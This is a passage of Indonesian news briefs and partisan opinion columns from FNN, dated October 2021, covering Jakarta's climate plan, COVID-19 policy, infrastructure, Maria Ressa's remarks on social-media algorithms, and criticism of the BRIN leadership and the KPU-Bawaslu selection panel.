Jakarta, FNN - Gubernur DKI Jakarta, Anies Baswedan menargetkan wilayah Ibu Kota menjadi kota berketahanan iklim melalui implementasi Rencana Pembangunan Rendah Karbon Daerah (RPRKD). "DKI Jakarta menjadi provinsi pertama di Indonesia yang memiliki RPRKD sesuai dengan amanat Rencana Pembangunan Jangka Menengah Nasional (RPJMN) 2020-2024," kata Anies, di Jakarta, Jumat, 15 Oktober 2021. Guna mengakomodasi rencana itu, ia menerbitkan Peraturan Gubernur Nomor 90 tahun 2021 tentang RPRKD. "Gubernur Anies menambahkan, RPRKD itu merupakan perwujudan komitmen ambisius DKI serta kontribusi aktif dalam pencapaian "National Determined Contribution" (NDC) Indonesia. RPRKD tersebut juga sesuai dengan Perjanjian Paris yang menjadi agenda global dari penanganan perubahan iklim. Jakarta, kata Anies, melakukan inovasi yang menyeluruh dengan aksi mitigasi dan adaptasi perubahan iklim diberlakukan secara seimbang. Hal itu mengingat selama ini aksi adaptasi perubahan iklim sering sekali terlupakan. Selain itu, pengarusutamaan isu perubahan iklim dan pembangunan daerah pun menjadi semangat dari perumusan regulasi tersebut. "Komitmennya adalah ingin mewujudkan kota Jakarta sebagai kota yang berketahanan iklim," katanya, sebagaimana dikutip dari Antara. Anies menargetkan pengurangan emisi Gas Rumah Kaca (GRK) sebesar 30 persen dan secara ambisius mampu mengurangi emisi GRK langsung sebesar 50 persen pada tahun 2030 serta nol emisi pada tahun 2050. Jakarta juga berkomitmen meningkatkan kemampuan adaptasi masyarakat dalam menghadapi bencana iklim. Tolok ukurnya mengurangi jumlah kawasan atau area yang termasuk ke dalam kategori rentan dan sangat rentan terhadap bencana iklim. Dia menjelaskan RPRKD adalah peraturan tingkat daerah yang komprehensif, memuat aksi perubahan iklim yang mengintegrasikan aksi mitigasi dan adaptasi di DKI Jakarta. (MD).

Kodam Jaya Nonaktifkan Oknum Anggota TNI Bantu Rachel Vennya

Jakarta, FNN - Kodam Jaya menonaktifkan oknum anggota TNI berinisial FS yang diduga membantu pengaturan selebgram Rachel Vennya kabur dari karantina usai kembali ke Jakarta dari Amerika Serikat. "Yang bersangkutan (FS) sudah dinonaktifkan untuk dikembalikan ke kesatuan," kata Kepala Penerangan Kodam Jaya Kolonel Artileri Pertahanan Udara (Arh) Herwin BS di Jakarta, Jumat. Menurut dia, FS dinonaktifkan sejak Kamis kemarin untuk memudahkan proses penyelidikan yang kini ditangani Polisi Militer. Kodam Jaya tidak main-main dalam kasus tersebut mengingat instansi militer ini merupakan Komando Satuan Tugas Gabungan Terpadu COVID-19. Sebelumnya, jagat media sosial diramaikan dengan utasan seorang warganet di twitter yang menyaksikan selebgram itu menjalani karantina hanya tiga hari di Wisma Atlet, Jakarta. Informasi tersebut kemudian viral hingga diusut Kodam Jaya. Kodam Jaya menemukan FS yang menjadi bagian Satuan Tugas Pengamanan di Bandara Internasional Soekarno Hatta diduga mengatur agar selebgram Rachel Vennya lolos dari karantina setelah kembali dari luar negeri. "Pada saat pendalaman kasus, ditemukan adanya dugaan tindakan non prosedural oleh oknum anggota (TNI) Pengamanan Bandara Soetta berinisial FS," kata Kolonel Herwin. Buntut kasus itu, Kodam Jaya melakukan penyelidikan dari hulu hingga hilir, mulai dari ketika tiba di bandara sampai dengan di RSDC Wisma Atlet Pademangan. (mth)

Pembangunan Akses Tol Bandara Kertajati Sudah 100 Persen

Cirebon, FNN - Pembangunan akses tol dari Jalan Tol Cipali ke Bandara Internasional Jawa Barat (BIJB) Kertajati, Kabupaten Majalengka, Jawa Barat, sudah selesai 100 persen, sehingga segera dioperasikan. "Pembangunan akses ke BIJB Kertajati sudah rampung 100 persen," kata Direktur Operasi ASTRA Tol Cipali Agung Prasetyo melalui pesan tertulis yang diterima di Cirebon, Jawa Barat, Jumat. Menurutnya, pembangunan konstruksi, gerbang, dan kantor gerbang tol serta rambu-rambu sesuai dengan standar pelayanan minimum yang telah ditetapkan oleh Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR), telah selesai 100. Saat ini, kata Agung, pihaknya tinggal menunggu pengoperasiannya. "Kami berharap pengoperasian akses BIJB Kertajati ini dapat dilakukan segera setelah rampungnya uji laik fungsi (ULF) dan juga standar layak operasi (SLO)," tuturnya. Ia menambahkan pembangunan akses tol Bandara Kertajati dapat diselesaikan tepat waktu, sesuai target pada akhir September seperti disampaikan Menteri PUPR Basuki Hadimuljono saat kunjungan ke lokasi pada akhir Agustus lalu. Dengan adanya akses tol ini diharapkan dapat meningkatkan konektivitas dan pengembangan daerah Jawa Barat khususnya Majalengka. "Kami mengucapkan terima kasih atas dukungan para pihak yang terlibat dalam pembangunan jalan tol ini, semoga dapat segera diresmikan dan beroperasi sesuai dengan target pada bulan November 2021," katanya. (mth)

KemenPPPA: ANRI Dukung Strategi Pengarusutamaan Gender Indonesia

Jakarta, FNN - Deputi Bidang Kesetaraan Gender Kementerian Pemberdayaan Perempuan dan Perlindungan Anak (KemenPPPA) Lenny N. Rosalin mengatakan bahwa Arsip Nasional Republik Indonesia (ANRI) mendukung implementasi strategi pengarusutamaan gender melalui inisiatif menyiapkan arsip untuk Ingatan Kolektif Dunia. “Inisiatif yang dilakukan ANRI dalam menyiapkan arsip gender sebagai Memory of the World (MoW / Ingatan Kolektif Dunia, red.) merupakan salah satu wujud implementasi pelaksanaan strategi pengarusutamaan gender oleh ANRI,” kata Lenny ketika memberi pidato kunci dalam seminar yang disiarkan secara langsung di kanal YouTube Arsip Nasional RI, Jumat. Seminar tersebut bertajuk “Persiapan Arsip Gender Sebagai Memory of the World” yang merupakan rangkaian dari Memory of the World Week atau pekan MoW yang diselenggarakan ANRI untuk menyukseskan persiapan penominasian Arsip Kartini dan Arsip Kongres Perempuan Indonesia I untuk menjadi MoW UNESCO. “Upaya untuk mewujudkan kesetaraan gender telah digariskan dalam Undang-Undang Dasar 1945,” ujar Lenny. Mandat tersebut, ia melanjutkan, diakomodasi dalam Undang-Undang Nomor 17 Tahun 2005 tentang Rencana Pembangunan Jangka Panjang Nasional, yang kemudian setiap lima tahun dituangkan di dalam Peraturan Presiden dalam Rencana Pembangunan Jangka Menengah Nasional. “Setiap tahunnya, (kesetaraan gender dimuat, red.) dalam Peraturan Presiden tentang Rencana Kerja Pemerintah,” tuturnya. Melengkapi paparan tersebut, Lenny mengatakan bahwa pemerintah telah menetapkan strategi pengarusutamaan gender untuk mewujudkan kesetaraan gender di Indonesia. Strategi tersebut dikuatkan oleh Instruksi Presiden Nomor 9 Tahun 2000 tentang Pengarusutamaan Gender dalam Pembangunan Nasional. Strategi pengarusutamaan gender, tutur dia, dilakukan pemerintah dalam setiap tahapan dan proses pembangunan yang dimulai sejak tahap perencanaan, penganggaran, pelaksanaan, pemantauan, evaluasi, pelaporan, pengawasan, hingga audit. Seluruh tahapan tersebut dilakukan para pemangku kepentingan, terutama kementerian terkait dan pemerintah daerah, baik di tingkat pusat, provinsi, kabupaten/kota, desa, kelurahan, dan dilakukan di semua bidang pembangunan, termasuk arsip, kata Lenny. (mth)

Mengapa Megawati Menjadi Ketua Dewan Pengarah BRIN?

By M Rizal Fadillah TENTU jawabannya bukan karena sekadar bahwa Megawati adalah seorang Profesor atau banyaknya gelar Doktor Honoris Causa. Alasan sebagai Ketua Umum Partai Politik tentu lebih tidak relevan lagi. Selorohan tak bermutu tambah kacau yaitu bahwa petugas partai yang menjadi Presiden saja diberi predikat jenius oleh seorang Profesor Singapura, apalagi Ketua Partai yang menugaskannya. Badan Riset dan Inovasi Nasional (BRIN) yang dibentuk berdasarkan Perpres No 33 tahun 2021 adalah lembaga otonom yang langsung di bawah Presiden sebagai penggabungan dari empat lembaga riset yaitu Lembaga Ilmu pengetahuan Indonesia (LIPI), Badan Pengkajian dan Pengembangan Teknologi (BPPT), Badan Tenaga Nuklir Nasional (BATAN) dan Lembaga Penerbangan dan Antariksa Nasional (LAPAN). Penggabungan yang mengarah pada penyatuan komando. Unik dan janggal lembaga riset bernuansa komando. Seperti negara komunis saja yang bersifat sentralistik. Sentralisasi terbukti dengan peran politik dominan dari keberadaan Dewan Pengarah. Megawati Soekarnoputeri Ketua Umum PDIP adalah Ketua Dewan Pengarah yang berdasarkan Perpres 78 tahun 2021 memiliki kekuasaan sangat besar. Mengevaluasi, memberi persetujuan, merekomendasi, membentuk Satgas Khusus. Mengapa Megawati menjadi Ketua Dewan Pengarah? Pertama, negara ini bergerak menuju atau telah mempraktekkan model demokrasi terpimpin. Sarwa arahan. Dewan Pengarah jika tak terkendali dapat menjadi semacam Komite Sentral. Penentu kebijakan di bawah simbol Presiden. Kedua, berporos pada Badan Pembina Ideologi Pancasila (BPIP) yang Ketua Dewan Pengarahnya juga Megawati, maka ideologisasi di semua bidang termasuk riset dijalankan masif. Pancasila yang digenggam Ketua Dewan Pengarah masih bias antara Pancasila 18 Agustus 1945 atau 1 Juni 1945? Ketiga, BRIN strategis untuk berkontribusi dalam menyusun GBHN dengan nomenklatur PPHN ke depan. Dan jika benar PPHN adalah gabungan antara GBHN Orde Baru dan PNSB atau Manipol/Usdek Orde Lama, maka menjadi ancaman serius bagi semangat Reformasi bangsa dan negara. Keempat, Megawati sebagai Ketua Dewan Pengarah BRIN melengkapi kekuasaan untuk mewujudkan asas Neo Demokrasi Terpimpin melalui satu kesatuan paket strategis BPIP, RUU HIP, BRIN dan PPHN. Sementara Istana berkutat memperkuat cengkeraman oligarkhi dalam mendukung arah dari perwujudan Neo Demokrasi Terpimpin tersebut. Untuk membantah praktek Neo Demokrasi Terpimpin tersebut baiknya Megawati mundur atau tidak melanjutkan jabatan sebagai Ketua Dewan Pengarah BPIP khususnya pada lembaga riset BRIN karena jangan-jangan justru sebenarnya Ketua Dewan Pengarah lah yang menjadi obyek arahan dari atasan kedua lembaga kontroversial tersebut, yaitu Bapak Presiden sang pembuat Peraturan Presiden. *) Pemerhati Politik dan Kebangsaan

Masyarakat Afrika Barat Antusias Pelajari Bahasa Indonesia

Jakarta, FNN - Masyarakat di kawasan Afrika Barat antusias mengikuti kelas bahasa Indonesia yang diselenggarakan secara daring oleh Kedutaan Besar RI di Dakar bekerja sama dengan Kementerian Pendidikan dan Budaya RI. KBRI di Dakar, Senegal bekerja sama dengan Badan Pengembangan dan Pembinaan Bahasa Kemendikbud untuk pertama kalinya menggelar kelas Bahasa Indonesia secara virtual bagi penutur asing, kata KBRI Dakar dalam keterangan tertulis yang diterima di Jakarta, Kamis. Penyelenggaraan program kelas Bahasa Indonesia itu turut memeriahkan perayaan Bulan Bahasa dan Sastra Indonesia pada 2021. "Kami senang melihat besarnya antusiasme masyarakat di wilayah Afrika Barat terhadap Bahasa Indonesia. Ini merupakan sebuah cerminan kuatnya hubungan emosional antara Indonesia dan masyarakat Afrika yang telah terbina sejak lama, sekaligus wujud pelaksanaan diplomasi budaya Indonesia di wilayah ini," kata Duta Besar RI untuk Senegal Dindin Wahyudin pada pembukaan kelas perdana secara virtual pada Rabu (13/10). Dubes Dindin Wahyudi juga merangkap sebagai Dubes RI untuk Cabo Verde, Gambia, Guinea, Guinea Bissau, Mali, Pantai Gading dan Sierra Leone. Program kelas bahasa Indonesia secara daring itu sejauh ini telah mencatat sebanyak 95 pendaftar yang berasal dari berbagai negara di Afrika Barat, mulai dari Senegal, Sierra Leone, Gambia, Mali dan Pantai Gading. Kelas daring bahasa Indonesia untuk penutur asing itu akan berlangsung dari Oktober hingga Desember 2021. Karena jumlah peminat kelas bahasa Indonesia cukup banyak, KBRI Dakar membuka empat kelas yang terdiri dari dua kelas untuk penutur bahasa Inggris dan dua kelas untuk penutur bahasa Prancis. Mayoritas peserta pada program itu merupakan mahasiswa, tenaga profesional yang berlatar pengusaha dan pebisnis, pegawai kantor pemerintah serta akademisi. Motif keikutsertaan mereka pun beragam. Alhassane Gueye, seorang pengusaha berkewarganegaraan Senegal misalnya, mengaku tertarik mempelajari bahasa Indonesia untuk memperlancar komunikasi dengan para mitra usahanya di Indonesia. Sementara Sumah Bangalie, warga Sierra Leone yang dahulu sempat menempuh program S2 di Indonesia, berharap agar kemampuan bahasa Indonesia yang dimilikinya tidak hilang. "Saya ingin tetap dapat bercakap-cakap dengan lancar dengan orang Indonesia dan berharap ke depannya program ini berkelanjutan dan KBRI dapat memfasilitasi pembukaan kelas bahasa (Indonesia) untuk tingkat kemahiran yang lebih tinggi," ujarnya. Setiap program kelas bahasa Indonesia memiliki 5 kali pertemuan pada setiap minggunya dengan durasi setiap pertemuan selama 1 jam. Adapun peserta penutur bahasa Inggris mendapatkan jadwal pertemuan pada pagi sementara penutur bahasa Prancis akan mengikuti kelas pada siang. Selain mengajarkan bahasa Indonesia, program itu diharapkan dapat turut memperkenalkan budaya Indonesia secara lebih luas, termasuk kuliner, dan tempat-tempat wisata di Indonesia, serta meningkatkan hubungan antara masyarakat Indonesia dengan masyarakat di negara-negara sahabat di wilayah Afrika Barat. (ant, sws)

Presiden Latvia Positif Covid-19

Ilnius, FNN - Presiden Latvia Egils Levits pada Kamis dinyatakan positif tertular COVID-19 setelah menjalani tes virus tersebut usai berkunjung ke Swedia, kata kantornya. Presiden Finlandia Sauli Niisto, yang bertemu dengan Levits sambil sarapan pada Rabu (13/10), langsung melakukan isolasi mandiri. Levits, kata kantor presiden Latvia, diketahui tertular selama menjalani tes rutin setelah ia mengunjungi Swedia pada Rabu untuk menghadiri forum antarpemerintah. Levits akan terus berkantor dari jarak jauh namun jadwal harian kegiatannya sudah dibatalkan, kata kantornya. Di antara jadwal yang dibatalkan adalah kunjungan oleh mitranya dari Romania pekan ini serta kunjungan Levits ke Kosova dan Macedonia Utara pekan depan, kata kantor presiden. Levits sudah divaksin dosis kedua AstraZeneca pada April, kata juru bicaranya kepada kantor berita BNS. Latvia pada Kamis mencatat kemunculan 4.408 kasus baru COVID-19 dan 21 kematian akibat penyakit itu, menurut laporan BNS. Menurut berbagai data kesehatan Uni Eropa, orang dewasa di Latvia yang sudah divaksin lengkap COVID baru mencapai 52 persen. Angka itu jauh di bawah rata-rata di Uni Eropa, yaitu 75 persen. Latvia telah melaporkan 864 kasus baru per 10.000 penduduk dalam dua pekan belakangan ini hingga Minggu (10/10). Jumlah itu merupakan yang terburuk kedua di Uni Eropa setelah negara anggotanya, Lithuania. (Reuters)

Pemerintah Targetkan Produksi Blok Rokan 200.000 Barel/Hari Tahun 2023

Pekanbaru, FNN- Menteri Energi Sumber Daya Mineral (ESDM) RI, Arifin Tasrif mengharapkan hasil produksi minyak Pertamina Hulu Rokan (PHR) bisa meningkat menjadi 200.000 barel per hari pada tahun 2023. "Caranya adalah dengan banyak melakukan pengeboran sumur baru, dan ini akan terus ditingkatkan kedepannya," kata Arifin saat melakukan kunjungan kerja (kunker) di wilayah kerja PHR area Minas Kabupaten Siak, Riau, Kamis. Menurut dia, upaya lainnya dalam mencapai target ditetapkan itu adalah menggunakan teknologi baru sebagai salah satu sistem monitoring yang diterapkan yang bisa menghemat waktu dan menghemat biaya. Teknologi baru tersebut, katanya diharapkan bisa mendeteksi masalah yang terjadi di lapangan sehingga langkah-langkah perbaikan bisa dilakukan. "Tekhnologi ini menggunakan teknologi informasi yang paling baru," katanya. Di hadapan Menteri ESDM, Arifin Tasrif, Gubernur Riau, Syamsuar menyemangati pekerja Pertamina Hulu Rokan (PHR) agar terus memberikan yang terbaik untuk meningkatkan produksi minyak di wilayah kerja Blok Rokan. "Kami mensupport adanya peningkatan-peningkatan produksitivitas yang terkait dengan migas ini," kata Syamsuar. "Dengan datangnya Menteri ESDM saat ini, kami harap para pekerja PHR dapat termotivasi untuk terus bersemangat," katanya. Selain itu, kepada Menteri ESDM Gubri memaparkan, bahwa saat ini pengganti Bahan Bakar Minyak (BBM) jenis B30 campuran biodiesel berbasis kelapa sawit sudah ada di Riau sejak tahun 2019. "Saat ini pengolahan pengganti BBM itu sebenarnya sudah ada di Riau sejak tahun 2019. Diresmikan di Pertamina Dumai. Ini akan dikembangkan menjadi B50 sampai B100, seperti yang diharapkan oleh Presiden Joko Widodo," kata Syamsuar. B30 adalah energi alternatif pengganti BBM untuk meningkatkan ketahanan dan kemandirian energi. Selain itu untuk meningkatkan nilai tambah industri kelapa sawit dan mengurangi konsumsi dan impor BBM, serta mengurangi emisi gas rumah kaca. (mth)

Tim BBPJN Investigasi Proyek Jalan Nasional di Kepulauan Nias

Nias, FNN - Tim investigasi dari Balai Besar Pembangunan Jalan dan Jembatan Nasional (BBPJN) wilayah Sumatera Utara melakukan investigasi dan mendata proyek preservasi jalan nasional yang rusak dari Kota Gunungsitoli sampai Teluk Dalam, Nias Selatan. "Kami diperintahkan pimpinan kami Kepala BBPJN untuk melakukan investigasi dan mendasepanjang jalan nasional dan sudah kami data, hasilnya nanti akan kami laporkan kepada pimpinan kami," kata Ketua tim Pejabat Fungsional Ahli Madya BBPJN, Robert, di Nias, Kamis. Ia mengatakan pihaknya sudah melakukan investigasi dan mendata seluruh titik yang rusak sesuai data yang diberikan Aliansi Masyarakat Sipil Pemerhati Pembangunan Kepulauan Nias (AMSP2 - KN). Dia mengucapkan terima kasih atas informasi yang diberikan oleh AMSP2 - KN dan mengakui jika ada beberapa titik yang rusak pada proyer preservasi jalan nasional setelah melakukan investigasi dan pendataan. "Saya akui semua ingin pekerjaan preservasi ini dikerjakan dengan baik, tetapi kita harus mengakui bahwa pasti ada kekurangan dan kelurangan tersebut masih bisa diperbaiki karena proyek preservasi masih dalam pengerjaan," katanya. Setelah melakukan investigasi, diketahui ada 20 titik pekerjaan preservasi yang rusak.Namun ke 20 titik tersebut masih bisa diperbaiki, sebab pekerjaan preservasi jalan nasional tahun 2021 masih berjalan. "20 titik yang rusak tersebut akan diperbaiki tahun ini, dan wajib selesai tahun ini karena pekerjaan preservasi jalan nasional tahun anggaran 2021.masih tahap pengerjaan," kata Jack, salah seorang anggota tim. (mth)

Peraih Nobel Maria Ressa, Soroti Algoritma Berita

Jakarta, FNN - Peraih Hadiah Nobel Perdamaian dan jurnalis asal Filipina, Maria Ressa, menyoroti algoritma yang digunakan dalam distribusi berita oleh platform-platform media sosial dan news aggregator, yang dapat menciptakan perpecahan dan mengancam perdamaian. Dalam acara Bincang-Bincang dengan Pemenang Hadiah Nobel Perdamaian 2021 Maria Ressa, yang diselenggarakan oleh IDN Times, jurnalis dan pimpinan media Rappler asal Filipina itu mengatakan bahwa kebanyakan platform media sosial menggunakan algoritma friends of friends dalam mendistribusikan informasi. Dengan algoritma seperti itu, informasi yang direkomendasikan terhadap seseorang mengacu pada apa yang biasanya diakses oleh orang itu sendiri. “Yang mereka lakukan ini adalah distribusi dengan algoritma dan bias algoritma,” ujar Ressa dalam acara yang dipantau dari Jakarta, Kamis. Menurut dia, algoritma semacam itu menempatkan seseorang di dalam gelembung. Di sana lingkaran itu, informasi yang diterima telah melalui filter tertentu sehingga dapat menciptakan bias dan pandangan yang terdistorsi akan dunia. “Algoritma menumbuhkan perpecahan yang melebar, kemudian Anda berada di dalam apa yang disebut sebagai filter bubble,” katanya. Dia pun menambahkan bahwa algoritma seperti itu dapat semakin menyulut kemarahan orang-orang yang mendapatkan informasi yang bias, dan hal itu dapat membuat orang menjadi tidak rasional dan tidak logis. “Ini adalah permasalahan besar yang kita hadapi karena inilah akhir dari fakta untuk kita semua […] ini merubah pandangan kita terhadap dunia,” kata Ressa. Ia menambahkan bahwa algoritma semacam itu merupakan “manipulasi yang berbahaya”. Hal itu pun menjadikan para jurnalis dan media sebagai penyaji fakta kehilangan peran sebagai penjaga atau gatekeeper, terutama mengingat banyaknya masyarakat kini yang mengakses platform-platform media sosial dan menjadikannya tempat mereka mendapatkan informasi. Maria Ressa diberi penghargaan Hadiah Nobel Perdamaian, bersama dengan jurnalis asal Rusia, Dmitry Muratov, “atas perjuangan berani mereka untuk kebebasan berekspresi di Filipina dan Rusia”. Maria Ressa mengepalai perusahaan media digital Rappler yang ia dirikan bersama tiga orang mitra pada 2012. Media tersebut tumbuh menonjol melalui pelaporan investigasi, termasuk terkait pembunuhan besar-besaran dalam kampanye polisi melawan narkoba, seperti dikutip dari laporan Reuters. Pada Agustus, pengadilan Filipina menolak kasus pencemaran nama baik terhadap Ressa, yang merupakan salah satu dari beberapa tuntutan hukum yang diajukan terhadap jurnalis yang mengatakan dia menjadi sasaran karena laporan kritis Rappler tentang Presiden Rodrigo Duterte. Nasib Ressa, salah satu dari beberapa jurnalis yang dinobatkan sebagai "Person of the Year" Majalah Time tahun 2018 karena memerangi intimidasi media, telah menimbulkan kekhawatiran internasional tentang pelecehan media di Filipina, negara yang pernah dipandang sebagai pembawa standar kebebasan pers di Asia. (ant, sws)

Wamenkeu: Penerimaan Negara Harus Ditingkatkan untuk Penuhi Kebutuhan Kelas Menengah

Jakarta, FNN - Wakil Menteri Keuangan (Wamenkeu) Suahasil Nazara mengatakan penerimaan negara perlu ditingkatkan untuk memenuhi kebutuhan kelas menengah terkait pendidikan, kesehatan, dan infrastruktur. “Aspirasi mereka luar biasa besar yang muncul dalam konsumsi, namun aspirasi ini perlu dibiayai oleh negara. Infrastruktur dan beberapa hal lain terkait SDM (Sumber Daya Manusia) perlu belanja dari Anggaran dan Pendapatan dan Belanja Negara (APBN),” kata Wamenkeu Suahasil Nazara dalam Dialog Publik daring yang dipantau di Jakarta, Kamis. Menurutnya, dalam 20 tahun terakhir persentase kelas menengah meningkat dari 41 menjadi 47 persen. Persentase Kelompok menengah ke atas pun meningkat lebih tinggi lagi yakni dari tujuh menjadi 22 persen dari total penduduk Indonesia. Sementara itu, pada saat yang sama persentase kelompok miskin dan rentan miskin justru turun dari sekitar 50 persen menjadi sekitar 30 persen. “Kalau middle class naik pesat, karakteristik di perekonomian yang akan muncul, salah satunya konsumsi penduduk kelas menengah tumbuh luar biasa tinggi, makanya terhadap PDB (Produk Domestik Bruto) sumbangan konsumsi kita bisa 56 persen,” kata Wamenkeu. Karena itu, menurutnya, pemerintah perlu meningkatkan penerimaan negara untuk memenuhi aspirasi atau permintaan kelas menengah terhadap berbagai fasilitas publik yang mesti dibiayai oleh negara. Peningkatan penerimaan negara ini dapat dilakukan dengan membangun sistem perpajakan yang lebih adil, sehat, efektif, dan akuntabel melalui penerbitan Undang-Undang Harmonisasi Peraturan Perpajakan (UU HPP). “Kita berharap APBN akan memiliki basis pajak yang baik dan akan melakukan tugasnya, yaitu melakukan fungsi alokasi terutama alokasi untuk barang publik, redistribusi pendapatan, dan stabilitas perekonomian,” kata Wamenkeu Suahasil. Ia mengatakan pemerintah masih harus melakukan reformasi sektor keuangan lebih lanjut, selain reformasi fiskal dimana reformasi perpajakan termasuk di dalamnya. Reformasi ini diperlukan untuk mempercepat pemulihan ekonomi nasional dari dampak COVID-19. (ant, sws)

Pemerintah Tetapkan 3.103 Komcad TNI

Pemerintah telah menetapkan anggota Komponen Cadangan (Komcad) Tentara Nasional Indonesia (TNI) sebanyak 3.103 orang dari berbagai latar belakang profesi. Personel Komcad akan mendukung TNI dalam menjalankan fungsi pertahanan.

PPKM Tetap Diberlakukan Jelang Natal dan Tahun Baru

Jakarta, FNN - Juru Bicara Pemerintah untuk Penanganan COVID-19 Wiku Adisasmito mengatakan pemberlakuan pembatasan kegiatan masyarakat (PPKM) akan tetapi dilakukan jelang libur Natal dan Tahun Baru pada akhir tahun. "PPKM akan terus dilakukan karena telah terbukti efektif dalam menekan kasus termasuk untuk menghadapi periode libur Natal dan Tahun Baru," kata Wiku dalam konferensi pers virtual yang dipantau dari Jakarta pada Kamis. Terkait pemberlakuan itu, Wiku meminta agar masyarakat untuk tetap mematuhi kebijakan pemerintah. Dia juga mengharapkan agar pemerintah daerah dapat mengawasi dan mengendalikan mobilitas warga demi mencegah peningkatan kasus. Koordinator Tim Pakar Satuan Tugas Penanganan COVID-19 itu menyampaikan bahwa belajar dari kenaikan kasus signifikan sebelumnya, peningkatan biasanya terjadi ketika ada relaksasi kebijakan pembatasan tanpa adanya modifikasi yang disesuaikan dengan karakteristik daerah. Sementara PPKM Mikro yang dilakukan serentak oleh seluruh daerah dengan penyesuaian situasi hingga tingkat RT/RW terbukti mampu menurunkan kasus hingga 134 persen selama empat belas pekan meski terjadi dibukanya kembali aktivitas masyarakat sebanyak 50 persen. "Pembelajaran ini harus dijadikan pegangan utama pada periode Natal dan Tahun Baru yang berpotensi meningkatkan kembali kasus COVID-19," katanya. Dia menegaskan bahwa kebijakan PPKM Darurat dan Level 4 membuktikan rem darurat yang diterapkan serentak di seluruh wilayah dan disesuaikan dengan kondisi daerah dapat menekan kasus secara efektif dan maksimal. Menuju periode libur di akhir tahun, dia menegaskan perlu disiapkan kebijakan didasarkan berdasarkan situasi masing-masing daerah dengan relaksasi diberlakukan 50 persen dari kapasitas, dilakukan pengawasan sampai tingkat akar rumput dan menyiapkan skenario pembatasan ketika terlihat tren kenaikan kasus signifikan. (ant, sws)

Pansel KPU-Bawaslu Mencerminkan Akal Busuk

By Asyari Usman HARI-hari ini publik memberikan perhatian besar terhadap Panitia Seleksi (pansel) yang akan memilih para komisioner Komisi Pemilihan Umum (KPU) dan Badan Pengawas Pemilu (Bawaslu) periode 2022-2027. Ada 11 orang anggota pansel. Ketuanya, Juri Ardiantoro, adalah Deputi IV Kantor Staf Presiden (KSP). Orang Istana tulen. Pertanyaan publik adalah: mungkinkah pansel KPU-Bawaslu ini akan memilih orang-orang yang independen? Agar penyelenggaraan pileg, pilkada, dan pilpres berjalan jujur dan adil? Rasa-rasanya tak mungkin. Hampir pasti pansel KPU dan Bawaslu tidak akan independen dari intervensi kekuasaan. Terlalu muluk mengharapkan pansel betukan Jokowi ini akan bebas. Bagaimana mungkin orang yang ditunjuk Jokowi bisa bebas dari intervensi? Bagaimana Anda bisa percaya pansel akan bebas sementara Jokowi berusaha keras mempertahankan kekuasaan dengan segala cara? Dan KPU-Bawaslu adalah dua lembaga yang krusial untuk tujuan ini. Jadi, independensi pansel hanya ada di alam hayalan. Penjelasannya sederhana. Presiden mendudukkan Juri Ardiantoro sebagai ketua pansel. Juri adalah pejabat senior di KSP. Dan KSP itu adalah dapur yang mengolah dan mengelola cara-cara untuk terus berkuasa. Yang ada dalam benak mereka adalah bagaimana cara melanjutkan kekuasaan Jokowi melalui presiden berikutnya. Juri akan ikut dalam ikhtiar ini. Ada pula Wamenkumham Edward Hiariej. Mungkinkah beliau ini akan memilih orang-orang yang independen untuk posisi komisioner KPU dan Bawaslu? Dipastikan tidak. Dia akan condong memilih orang yang pro-penguasa. Tak perlu dijelaskan lagi. Bagaimana dengan Prof Hamdi Muluk? Pakar psikologi politik UI ini punya rekam jejak membela penguasa. Dia membela habis tes wawasan kebangsaan (TWK) yang menyingkirkan para penyidik non-kompromi di KPK. Akankah Hamdi berani memilih orang independen menjadi komisioner KPU-Bawaslu? Sekadar bermimpin boleh saja. Terus ada Poengky Indarty dari Komisi Kepolisian Nasional (Kompolnas). Peongky terkenal membela Polri dalam banyak kesempatan. Dia memang berlatar belakang aktivis HAM. Tetapi, setelah masuk ke Kompolnas dia mengalami perubahan drastis. Anda harapkan dia memilih figur netral duduk di KPU dan Bawaslu? Berarti Anda tak paham sepak-terjang Kompolnas. Singkat kata, pansel tidak kredibel. Ketuanya orang Istana. Dan para anggotanya juga dijamin sudah diseleksi agar sesuai dengan keinginan penguasa. Para penguasa itu adalah oligarki politik yang berkolaborasi dengan oligarki bisnis. Dua oligarki inilah yang sekarang menghancurkan Indonesia. Mereka inilah yang berkomplot menguras kekayaan rakyat untuk kepentingan pribadi-pribadi mereka. Mereka 100% bermental korup dan bermoral setan. Anda wajar khawatir bahwa pansel KPU dan Bawaslu akan mewakili kepentingan kedua oligarki. Pansel akan memilih orang-orang yang bisa diatur oleh oligarki. Arahnya sudah bisa dibaca. Kedua oligarki itu memerlukan KPU dan Bawaslu yang diisi oleh orang-orang yang lihai dan siap melakukan manipulasi elektoral secara halus maupun kasar. Terutama dalam pemilihan presiden (pilpres). Mereka paham bahwa KPU dan Bawaslu memegang kunci penting untuk tetap menggenggam Istana lewat pilpres 2024. Karena itu, pansel kedua lembaga ini adalah titik awalnya. Memilih personel pansel yang akan memilih komisioner KPU dan Bawaslu adalah salah satu langkah yang akan menyempurnakan kehendak oligarki politik dan oligarki bisnis. Juri Ardiantoro tak mungkin mewakili saya dan Anda yang menginginkan Indonesia yang lebih baik. Dia selama ini tenggelam dalam genangan “akal busuk”. Karena itu, pansel ini akan mencerminkan “akal busuk” itu.[] (Penulis wartawan senior FNN)

Hadapi Ancaman Kebangkrutan, Anis Matta: Indonesia Butuh Revolusi Ekonomi

Jakarta, FNN - Indonesia saat ini membutuhkan reformasi ekonomi berskala besar yang sistemik dalam struktur perekonomian sekarang. Revolusi ekonomi tersebut, diperlukan untuk menyelamatkan Indonesia dari kebangkrutan dunia usaha dan kebangkrutan negara. "Tampaknya kita sepakat bahwa kondisi pandemi Covid-19, bukan sekadar masalah ancaman kebangkrutan dunia usaha, bahkan bisa menjadi ancaman kebangkrutan negara," kata Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta dalam diskusi Gelora Talk bertajuk 'Covid-19 dan Ancaman Kebangkrutan Dunia Usaha', di Jakarta Rabu (13/10/2021) . Diskusi yang disiarkan secara live di Channel YouTube Gelora TV tersebut, dihadiri pengamat ekonomi Faisal Basri dan juga Bob Azam Wakil Ketua Asosiasi Pengusaha Indonesia (Apindo). Menurut Anis Matta, Indonesia butuh ekonomi yang berorientasi pada perubahan iklim, perubahan sosial, transformasi teknologi dan faktor geopolitik seperti konsep ekonomi 'Geloranomics' yang tengah dikembangkan di Partai Gelora. Anis Matta menilai angka pengangguran pada usia muda (milenal dan generasi Z) yang sudah mencapai 18 persen, bisa menjadi satu pertanda awal mula terjadinya revolusi pergerakan sosial yang besar. "Karena apa, yang tadinya saya tulis kelompok usia muda 